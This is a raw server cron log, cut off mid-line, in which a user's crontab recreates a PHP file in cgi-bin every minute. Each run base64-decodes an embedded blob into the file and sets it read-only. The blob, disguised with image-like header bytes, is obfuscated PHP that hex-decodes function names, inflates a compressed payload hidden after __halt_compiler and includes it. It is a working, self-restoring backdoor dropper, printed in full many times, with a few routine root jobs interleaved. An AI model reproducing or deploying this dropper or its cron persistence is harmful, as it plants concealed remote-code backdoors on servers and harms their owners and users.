Nov  9 09:20:01 server CROND[27932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:20:01 server CROND[27933]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 09:21:01 server CROND[28832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:22:01 server CROND[29680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:23:01 server CROND[30493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:24:01 server CROND[31447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:25:01 server CROND[32209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:25:01 server CROND[32212]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:25:01 server CROND[32211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:26:01 server CROND[586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:27:01 server CROND[936]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 09:27:01 server CROND[937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:28:01 server CROND[1761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:29:01 server CROND[2573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:30:01 server CROND[3394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:30:01 server CROND[3395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:30:01 server CROND[3396]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 09:30:01 server CROND[3397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:31:01 server CROND[4197]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:32:01 server CROND[5101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:33:01 server CROND[5939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 